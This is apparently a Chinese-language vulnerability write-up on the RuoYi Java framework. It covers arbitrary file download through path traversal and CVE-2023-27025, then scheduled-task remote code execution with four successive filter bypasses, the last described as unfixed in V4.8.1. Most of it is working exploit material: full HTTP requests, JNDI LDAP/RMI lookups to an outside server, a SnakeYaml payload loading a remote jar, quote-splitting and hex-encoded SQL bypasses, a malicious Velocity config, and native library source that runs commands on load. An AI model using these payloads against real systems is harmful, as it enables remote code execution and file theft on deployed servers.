GET /common/download/resource?resource=/profile/../../../../Windows/win.ini HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=ac820c87-df58-41f8-b397-61ee0cd96e25
Upgrade-Insecure-Requests: 1
Priority: u=0, i


漏洞分析

下面即为相应文件下载接口的处理函数;这个文件下载接口是通过获取profile变量的内容拼接resource参数中/profile后的内容进行的文件下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 本地资源通用下载
*/
@GetMapping("/common/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
// 本地资源路径
String localPath = Global.getProfile();
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

由于该函数并没有对resource参数的内容进行任何过滤,因此会非常容易导致目录穿越等漏洞的产生;

这里也是没有过滤,所以通过目录穿越也是能够实现任意文件下载;

3.2 CVE-2023-27025 若依任意文件下载(<V4.7.7)

漏洞复现

首先通过定时任务执行setProfile函数修改profile设置的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /monitor/job/add HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 204
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/monitor/job/add
Cookie: JSESSIONID=63249f2e-0323-46b5-a29f-29be13153080
Priority: u=0

createBy=admin&jobName=CVE-2023-27025&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('C%3A%2F%2FWindows%2F%2Fwin.ini')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

执行一次定时任务修改profile设置的值;

通过调度日志可以确定执行成功;然后访问(文件名随意,不以/profile开头即可)

1
http://192.168.1.10/common/download/resource?resource=info.xml:.zip

通过定时任务修改为任意路径的文件即可做到下载任意文件;

漏洞分析

通过分析该接口的函数可以发现,这个文件下载接口是通过获取profile变量的内容拼接resource参数中/profile后的内容进行的文件下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 本地资源通用下载
*/
@GetMapping("/common/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
try
{
// 禁止目录穿越(过滤..);文件名后缀白名单过滤;
if (!FileUtils.checkAllowDownload(resource))
{
throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource));
}
// 本地资源路径(在RuoYi-4.6.0/ruoyi-admin/src/main/resources/application.yml配置)
String localPath = RuoYiConfig.getProfile();
// 数据库资源地址
// localPath 拼接resource参数中/profile后面的内容
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下载名称,获取下载文件名
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}

由于resource参数已经经过了白名单和目录穿越的过滤,比较难实现任意文件下载;

又由于该函数处理的是拼接resource内容中/profile后的内容,如果resource中不包含/profile,那么拼接的内容不就是null了吗?这时如果我们能够自定义profile变量的值,那么我们也可以实现任意文件下载;

虽然没有直接性的接口能够实现自定义profile变量,但是若依框架中存在定时任务,该任务可以调用除过滤方法以外的任意函数和传入任意参数;

在框架源码中寻找,发现存在设置profile变量的函数位于

RuoYi-4.6.0/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java#setProfile

1
2
3
4
public void setProfile(String profile)
{
RuoYiConfig.profile = profile;
}

因此,通过设置定时任务ruoYiConfig.setProfile('C://Windows//win.ini')执行,将profile变量设置为想要下载的文件的绝对路径;

然后调用接口/common/download/resource,参数resource传入不含/profile的白名单后缀文件记录下载profile定义的绝对路径文件

1
http://192.168.1.10/common/download/resource?resource=info.xml:.zip

4 定时任务 RCE

4.1 定时任务 RCE(<V4.6.2)

漏洞复现

对于该定时任务 RCE 漏洞需要注意,启动若依的 jdk 版本必须位于 jdk1.8.0-191 以下,因为大于 191 版本的 jdk1.8 已经禁止了远程 ldap 请求,所以无法远程 rce,只能本地复现。

这里采用的复现环境是 jdk1.8.0_121 + ruoyi V4.6.0,采用的是请求 VPS ip 起的 ldap;

1
javax.naming.InitialContext.lookup('ldap://xx.xxx.xx.xxx:1389/Basic/Command/calc.exe')

这里需要注意,服务器中启动 LDAP 服务的 java 版本要求是 jdk8;

在 V4.6.2 以下的版本是没有进行任何过滤的,所以基本上使用任何方法都能够实现 RCE;

虽然在 V4.6.2 中仅用了 rmi 的远程调用,但是这丝毫不会影响 ldap 的远程调用,依旧随便 RCE;

1
2
3
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://xx.xxx.xx.xxx:1389/Calc')
javax.naming.InitialContext.lookup('ldap://xx.xxx.xx.xxx:1389/Basic/Command/calc.exe')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://xx.xx.xxx.xx:1389/yaml-payload.jar"]]]]')

漏洞分析

添加定时任务接口对应的处理函数RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java#addSave

在 4.6.2 版本以前没有对定时任务做任何过滤,因此可以实现多种方式的命令执行;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 新增保存调度
*/
@Log(title = "定时任务", businessType = BusinessType.INSERT)
@RequiresPermissions("monitor:job:add")
@PostMapping("/add")
@ResponseBody
public AjaxResult addSave(@Validated SysJob job) throws SchedulerException, TaskException
{
if (!CronUtils.isValid(job.getCronExpression()))
{
return AjaxResult.error("cron表达式不正确");
}
return toAjax(jobService.insertJob(job));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 新增任务
*
* @param job 调度信息 调度信息
*/
@Override
@Transactional
public int insertJob(SysJob job) throws SchedulerException, TaskException
{
job.setStatus(ScheduleConstants.Status.PAUSE.getValue());
int rows = jobMapper.insertJob(job);
if (rows > 0)
{
// 创建定时任务
ScheduleUtils.createScheduleJob(scheduler, job);
}
return rows;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 创建定时任务
*/
public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException
{
// 定时任务处理类获取
Class<? extends Job> jobClass = getQuartzJobClass(job);
// 构建job信息
Long jobId = job.getJobId();
String jobGroup = job.getJobGroup();
// 新建定时任务,处理类为QuartzJobExecution/QuartzDisallowConcurrentExecution
JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build();
// 表达式调度构建器
CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression());
cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);
// 按新的cronExpression表达式构建一个新的trigger
CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup))
.withSchedule(cronScheduleBuilder).build();
// 放入参数,运行时的方法可以获取
jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);
// 判断是否存在
if (scheduler.checkExists(getJobKey(jobId, jobGroup)))
{
// 防止创建时存在数据问题 先移除,然后在执行创建操作
scheduler.deleteJob(getJobKey(jobId, jobGroup));
}
scheduler.scheduleJob(jobDetail, trigger);
// 暂停任务
if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue()))
{
scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
}
}

在此之前的代码已经实现了定时任务的创建,并设置了定时任务的处理函数为RuoYi-4.6.0/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java#doExecute

下面是执行定时任务方法的流程;

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 任务调度立即执行一次
*/
@Log(title = "定时任务", businessType = BusinessType.UPDATE)
@RequiresPermissions("monitor:job:changeStatus")
@PostMapping("/run")
@ResponseBody
public AjaxResult run(SysJob job) throws SchedulerException
{
jobService.run(job);
return success();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 立即运行任务
*
* @param job 调度信息
*/
@Override
@Transactional
public void run(SysJob job) throws SchedulerException
{
Long jobId = job.getJobId();
SysJob tmpObj = selectJobById(job.getJobId());
// 参数
JobDataMap dataMap = new JobDataMap();
dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
// 这里开始调用定时任务处理函数
scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap);
}

位于RuoYi-4.6.0/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java,执行doExecute函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 定时任务处理(允许并发执行)
*
* @author ruoyi
*
*/
public class QuartzJobExecution extends AbstractQuartzJob
{
@Override
protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception
{
JobInvokeUtil.invokeMethod(sysJob);
}
}

判断执行的目标名称是否为bean,根据相应类型进行执行方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 执行方法
*
* @param sysJob 系统任务
*/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}

反射调用相应类对应的函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 调用任务方法
*
* @param bean 目标对象
* @param methodName 方法名称
* @param methodParams 方法参数
*/
private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
{
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
else
{
Method method = bean.getClass().getDeclaredMethod(methodName);
method.invoke(bean);
}
}

以上就是定时任务添加和调用的全流程,在 4.6.2 以前毫无限制,想怎么执行就怎么执行,有相应依赖也可以直接反序列化执行命令;

4.2 定时任务 RCE bypass1(<V4.7.1)

漏洞复现

bypass1 的 payload 如下所示:

1
2
3
rmi: org.springframework.jndi.JndiLocatorDelegate.lookup('r'mi://192.168.10.129:8888/Calc')
ldap: javax.naming.InitialContext.lookup('ld'ap://192.168.10.129:8888/#Calc')
SnakeYaml: org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://192.168.31.246:8000/yaml-payload.jar']]]]')

1
javax.naming.InitialContext.lookup('ld'ap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe')

在 V4.7.1 版本中添加了对执行方法的过滤,不允许执行org.springframework.jndijavax.naming.InitialContextorg.yaml.snakeyamljava.net.URL,因此仅通过'去绕过已经不能够实现

漏洞分析

详细的定时任务添加和执行可以参考 4.1 小节的漏洞分析;

在 4.7.1 时对定时任务调用的目标字符串进行了过滤,过滤了rmi://ldap://http(s)://

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 新增保存调度
*/
@Log(title = "定时任务", businessType = BusinessType.INSERT)
@RequiresPermissions("monitor:job:add")
@PostMapping("/add")
@ResponseBody
public AjaxResult addSave(@Validated SysJob job) throws SchedulerException, TaskException
{
if (!CronUtils.isValid(job.getCronExpression()))
{
return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi://'调用");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap://'调用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS }))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用");
}
return toAjax(jobService.insertJob(job));
}

过滤了上述的内容只要尝试绕过即可,通过ldaps://即可实现绕过;但是 ldaps://有点难搭建,因此尝试通过其他方法进行过滤

通过观察定时任务执行过程中的执行函数invokeMethod,其在获取方法参数List<Object[]> methodParams = getMethodParams(invokeTarget);的过程中参在问题,因此导致的漏洞;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 执行方法
*
* @param sysJob 系统任务
*/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}

由于这个函数对参数的处理,将'替换为 null,从而导致可以通过'ld'ap://xxx.xx.xx.xxx:1389/'绕过ldap://的过滤;因为在执行过程中都会将'替换掉,从而获取参数ldap://xxx.xx.xx.xxx:1389/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* 获取method方法参数相关列表
*
* @param invokeTarget 目标字符串
* @return method方法相关参数列表
*/
public static List<Object[]> getMethodParams(String invokeTarget)
{
// 获取由()包裹的内容
String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
if (StringUtils.isEmpty(methodStr))
{
return null;
}
// 根据逗号,分割内容
String[] methodParams = methodStr.split(",");
List<Object[]> classs = new LinkedList<>();
for (int i = 0; i < methodParams.length; i++)
{
String str = StringUtils.trimToEmpty(methodParams[i]);
// String字符串类型,包含'
if (StringUtils.contains(str, "'"))
{
//若分割出来的字符串中包含',则将其替换为null
classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
}
// boolean布尔类型,等于true或者false
else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
{
classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
}
// long长整形,包含L
else if (StringUtils.containsIgnoreCase(str, "L"))
{
classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class });
}
// double浮点类型,包含D
else if (StringUtils.containsIgnoreCase(str, "D"))
{
classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class });
}
// 其他类型归类为整形
else
{
classs.add(new Object[] { Integer.valueOf(str), Integer.class });
}
}
return classs;
}

4.3 定时任务 RCE bypass2(<V4.7.3)

漏洞复现

先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;

这里的 RCE 的方法还挺多的具体参考:https://xz.aliyun.com/news/10405

  • ldaps 绕过

这种过滤方法能够成功,但是我在复现的过程中遇到了证书问题,要求是需要配置相关的证书这种也是没有进一步的配置。

本次漏洞复现需要使用到工具:https://github.com/phith0n/tls_proxy

1
org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xx.xx.xxx.xx:1388/Basic/Command/calc.exe')

在版本 V4.7.3 中将ldap://的过滤修改为对ldap进行过滤,因此不能够在使用ldaps进行绕过;

  • 配置文件 RCE

若依中有个文件上传接口/common/upload,可以通过该接口实现文件上传将配置文件上传到服务端;然后使用org.apache.velocity.runtime.RuntimeInstance.init加载这个配置文件

1
2
3
4
5
6
7
8
9
10
11
resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xx.xx.xxx.xx:1388/Basic/Command/calc.exe
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /common/upload HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary4e4431b166ddca122d213d464704255e
Content-Length: 860
Origin: null
Cookie: JSESSIONID=e09af19d-5ba6-4ae2-899d-125e293ae3df
Connection: keep-alive
Priority: u=0

------geckoformboundary4e4431b166ddca122d213d464704255e
Content-Disposition: form-data; name="file"; filename="velocity.txt"
Content-Type: text/html

resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xx.xx.xxx.xx:1388/Basic/Command/calc.exe
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60
------geckoformboundary4e4431b166ddca122d213d464704255e--

1
http://192.168.1.9/profile/upload/2025/08/11/7c862b8b-e72f-4b61-ae38-95f15403ac21.txt
1
org.apache.velocity.runtime.RuntimeInstance.init('C:/code/Java/RuoYi/upload/upload/2025/08/11/7c862b8b-e72f-4b61-ae38-95f15403ac21.txt')

漏洞分析

先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;

这里的漏洞分析只针对 ldaps bypass 的分析,对于配置文件 RCE 的方法我这里就不进行分析了

配置文件 RCE 的方法简单来说就是让 velocity 使用我们设定的配置文件重新加载,在重新加载的过程中触发了远程 ldap 请求导致的 rce;

根据下面方法的具体内容,也是可以发现,通过'ld'ap://'方式进行绕过已经不能够实现了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 获取method方法参数相关列表
*
* @param invokeTarget 目标字符串
* @return method方法相关参数列表
*/
public static List<Object[]> getMethodParams(String invokeTarget)
{
String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
if (StringUtils.isEmpty(methodStr))
{
return null;
}
String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)");
List<Object[]> classs = new LinkedList<>();
for (int i = 0; i < methodParams.length; i++)
{
String str = StringUtils.trimToEmpty(methodParams[i]);
// String字符串类型,以'或"开头
if (StringUtils.startsWithAny(str, "'", "\""))
{
classs.add(new Object[] { StringUtils.substring(str, 1, str.length() - 1), String.class });
}
// boolean布尔类型,等于true或者false
else if ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str))
{
classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
}
// long长整形,以L结尾
else if (StringUtils.endsWith(str, "L"))
{
classs.add(new Object[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class });
}
// double浮点类型,以D结尾
else if (StringUtils.endsWith(str, "D"))
{
classs.add(new Object[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class });
}
// 其他类型归类为整形
else
{
classs.add(new Object[] { Integer.valueOf(str), Integer.class });
}
}
return classs;
}

尽管如何,在添加定时任务时,并没有对ldaps进行过滤,因此仍然能够通过ldaps协议实现 rce;(只是 ldaps 并没有那么容易实现就是啦)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 新增保存调度
*/
@Log(title = "定时任务", businessType = BusinessType.INSERT)
@RequiresPermissions("monitor:job:add")
@PostMapping("/add")
@ResponseBody
public AjaxResult addSave(@Validated SysJob job) throws SchedulerException, TaskException
{
if (!CronUtils.isValid(job.getCronExpression()))
{
return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi://'调用");
}
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap://'调用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS }))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用");
}
else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
{
return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规");
}
job.setCreateBy(getLoginName());
return toAjax(jobService.insertJob(job));
}

4.4 定时任务 RCE bypass3(<V4.7.9)

漏洞复现

1
2
genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;")
genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;")

首先添加一个任意内容的定时任务执行

通过/monitor/job/list接口可以查看jobId,这个是为了后面写 sql 语句实现定点修改;

在新建一个执行 sql 语句的定时任务;

1
genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;")

由于定时任务执行目标对ldap(s)进行了过滤,因为需要通过 16 进制invoke_target的值进行绕过

1
genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;")

执行一次对应的定时任务;

可以发现103编号的任务变成了刚才设置的值,然后就是利用 ldap 协议 rce 了;

执行一次以后即可发现

漏洞分析

先阅读 4.1 小节的漏洞分析,了解定时任务的执行流程;

这个漏洞的原理就是利用了一个方法执行 sql 预取去修改数据库中存储的定时任务的内容,由于 sql 语句是支持 16 进制内容的,因此可以使用 16 进制绕过关键词过滤内容,实现定时任务修改,然后执行任务定时任务导致 rce。

这个漏洞利用了一下/tool/gen/createTable接口的 sql 注入漏洞,非直接利用,而是调用了其中的 Mybatis 服务方法;

/RuoYi-4.7.8/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml

1
2
3
<update id="createTable">
${sql}
</update>

对应的调用方法位于/RuoYi-4.7.8/ruoyi-generator/src/main/java/com/ruoyi/generator/service/impl/GenTableServiceImpl.java

1
2
3
4
5
6
7
8
9
10
11
/**
* 创建表
*
* @param sql 创建表语句
* @return 结果
*/
@Override
public boolean createTable(String sql)
{
return genTableMapper.createTable(sql) == 0;
}

根据这个语句方法就可以实现对任意的 sql 语句的调用,因此就能够实现对数据库内容的更改UPDATE

因此我们调用这个方法的 bean 对象对数据库中的定时任务内容进行修改即可实现任意函数调用 RCE

1
genTableServiceImpl.createTable("update sys_job set invoke_target=javax.naming.InitialContext.lookup('ldap://xx.xx.xxx.xx:1389/Basic/Command/calc.exe') where job_id = 102;")

由于若依本身已经存在了对ldap的过滤,对于invoke_target设置的值采用 16 进制 bypass,因为 sql 语句本身是执行 16 进制的,因此不会对设置内容产生影响;

1
genTableServiceImpl.createTable("update sys_job set invoke_target=0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F78782E78782E7878782E78783A313338392F42617369632F436F6D6D616E642F63616C632E6578652729 where job_id = 102;")

因此,我们可以将定时任务的执行目标修改为任意内容;

4.5 定时任务 RCE bypass4(未修复)

截止到漏洞分析时间:该漏洞在最新版本 ruoyi V4.8.1 中仍未修复

漏洞复现

本次复现环境为windows11 + jdk8_121 + ruoyi4.8.0,若采用 linux 和 macos 复现,则动态链接库的编写都存在一定差异,届时会给出相应内容;

首先需要制作一个即将被加载的动态链接库

  • windows
1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("calc.exe");
}
return TRUE;
}

1
2
gcc -shared -o calc.dll calc.c -Wall
x86_64-w64-mingw32-gcc -shared -o calc.dll calc.c -Wall
  • linux
1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

__attribute__((constructor))
static void run() {
system("gnome-calculator &");
}
1
gcc -fPIC -shared -o calc.so calc.c
  • macos
1
2
3
4
5
#include <stdlib.h>
__attribute__((constructor))
static void run() {
system("open -a Calculator");
}
1
gcc -arch x86_64 -shared -o calc.dylib calc.c

制作完成动态链接库一下,使用若依的文件上传接口<font style="color:rgb(68, 68, 68);background-color:rgb(245, 245, 245);">/common/upload</font>将动态链接库上传到服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /common/upload HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Length: 100346
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/demo/form/upload
Cookie: JSESSIONID=54ba609e-21d6-417b-ae7b-cdc1bc8bad2b
Priority: u=0

------geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"
Content-Type: application/octet-stream

恶意动态链接库二进制文件
------geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Disposition: form-data; name="fileId"

99612_calc.dll
------geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Disposition: form-data; name="initialPreview"

[]
------geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Disposition: form-data; name="initialPreviewConfig"

[]
------geckoformboundarya01d77708851835ad52282b087ed68e7
Content-Disposition: form-data; name="initialPreviewThumbTags"

[]
------geckoformboundarya01d77708851835ad52282b087ed68e7--

文件上传成功以后,由于文件后缀过滤的缘故,还需要将文件名修改为动态链接库后缀,linux->.somacos->.dylibwindow->.dll;该操作依旧是通过定时任务实现;

这个文件路径还是需要猜测的,这就是利用的难点?如果猜不到文件上传路径,那都白搭

1
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying('../upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001.txt','../upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001.dll')

设置定时任务com.sun.glass.utils.NativeLibLoader.loadLibrary加载我们上传的动态链接库文件内容

对于这个加载的路径如何选择,loadLibrary 默认在<path to jdk>/jre/bin/路径下搜索,所以需要通过目录穿越找到我们上传的动态链接库文件,这又是一大难点;

1
com.sun.glass.utils.NativeLibLoader.loadLibrary("../../../../../../../../../../code/Java/RuoYi/upload/upload/2025/08/16/com.ruoyi.quartz.task_20250816103604A001");

漏洞分析

怎么说呢?看到漏洞复现的过程的话,漏洞原因应该都蛮清晰了;这是多个漏洞点组合起来的 rce,且还存在路径爆破等问题需要解决,利用难度还挺大的;

